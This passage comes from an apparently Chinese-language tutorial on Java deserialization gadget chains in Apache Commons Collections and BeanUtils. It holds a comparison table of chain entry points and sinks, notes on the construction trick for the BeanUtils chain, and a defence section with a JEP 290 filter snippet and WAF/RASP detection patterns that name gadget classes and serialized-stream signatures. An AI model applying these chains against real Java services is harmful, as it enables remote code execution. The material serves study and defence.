add(1) 和 add(2) 后再替换 queue 内容:因为 add(1) / add(2) 时 comparator 的 property 还没设为 "outputProperties",compare 不会触发字节码加载;替换 queue 后只影响反序列化阶段。
- 需要同时引入
commons-beanutils 和 commons-collections(后者提供 ComparableComparator 等底层能力)。
版本对照速查表
| 链 |
CC 版本 |
JDK 限制 |
入口类 |
Sink 类型 |
备注 |
| CC1-TM |
3.x |
<= 8u71 |
AnnotationInvocationHandler |
Runtime.exec |
8u71 重写 readObject 导致失效 |
| CC1-LM |
3.x |
<= 8u71 |
AnnotationInvocationHandler |
Runtime.exec |
动态代理 + LazyMap |
| CC2 |
4.x |
无限制 |
PriorityQueue |
TemplatesImpl |
直接 InvokerTransformer(“newTransformer”) |
| CC3 |
3.x |
<= 8u71 |
AnnotationInvocationHandler |
TemplatesImpl |
TrAXFilter+InstantiateTransformer,字节码加载 |
| CC4 |
4.x |
无限制 |
PriorityQueue |
TemplatesImpl |
CC2 入口 + CC3 负载 |
| CC5 |
3.x |
无限制 |
BadAttributeValueExpException |
Runtime.exec |
8u71+ 绕过 |
| CC6 |
3.x |
无限制 |
HashMap/HashSet |
Runtime.exec |
最便携,无 JDK 版本限制 |
| CC7 |
3.x |
无限制 |
Hashtable |
Runtime.exec |
hash 碰撞,最复杂 |
| CB |
3.x + BeanUtils |
无限制 |
PriorityQueue |
TemplatesImpl |
无需 InvokerTransformer |
CC 3.x vs 4.x 关键差异总结:
- CC 3.x:
InvokerTransformer 等所有 transform 类均可序列化;LazyMap 的 factory 属性为 Transformer 类型;TransformedMap 可用。
- CC 4.x:
InvokerTransformer 不再实现 Serializable(安全加固);LazyMap 不再使用 Transformer(改用 Factory 接口);因此 CC2/CC4 必须使用 TemplatesImpl sink 且不依赖 CC1 的 ChainedTransformer(InvokerTransformer) 链。
防御与检测
开发侧防御
JEP 290(Java 反序列化过滤器): JDK 9 引入,JDK 8u121 部分移植。通过 ObjectInputFilter 设置白名单类,禁止反序列化未知类。
1 2 3 4
| ObjectInputFilter filter = ObjectInputFilter.Config.createFilter( "java.lang.*;java.util.*;!*" ); ObjectInputFilter.Config.setSerialFilter(filter);
|
SerialKiller / NotSoSerial: 基于 JEP 290 或 ASM 的类检查库。SerialKiller 在 resolveClass 前拦截,NotSoSerial 通过 ASM 在类加载前扫描调用链特征。
升级 Commons Collections: 使用 3.2.2+(安全版本,InvokerTransformer 不再可序列化)或 4.1+。
避免不必要的序列化接口: 审查业务代码中实现 Serializable 的类,评估是否存在被反序列化攻击的入口。
WAF / RASP 检测
- 类名黑名单: 监控流中的类名如
InvokerTransformer、ChainedTransformer、TemplatesImpl、TrAXFilter、LazyMap、TransformedMap、AnnotationInvocationHandler、BadAttributeValueExpException。
- 行为特征检测:
Runtime.exec("calc")、defineClass、ProcessBuilder.start() 等调用栈异常组合。
- 字节码特征:
byte[][] 中嵌入 Base64 编码后 yv66vgAA(class 文件魔数 CAFEBABE)。
- 反序列化流量监控: Java 序列化流的魔数为
AC ED 00 05。
- RASP(运行时防护): 在
ObjectInputStream.resolveClass 处插入校验钩子,实时拦截不受信任的类加载请求。
实际部署建议
- 最有效防御: 全面禁止来自不可信源的 Java 原生序列化流输入。如无法避免,强制启用
ObjectInputFilter 白名单,只反序列化必需的 DTO 类。
- 纵深防御: 即使应用了 JEP 290 filter,也应配合 WAF(类名/魔数过滤)+ RASP(运行时 hook)形成多层防线。
参考
- ysoserial - GitHub
- Commons Collections 3.2.2 API
- Commons Collections 4.4 API
- Java Object Serialization Specification
- JEP 290: Filter Incoming Serialization Data
- FoxGlove Security - Commons Collections RCE Analysis
- Commons BeanUtils API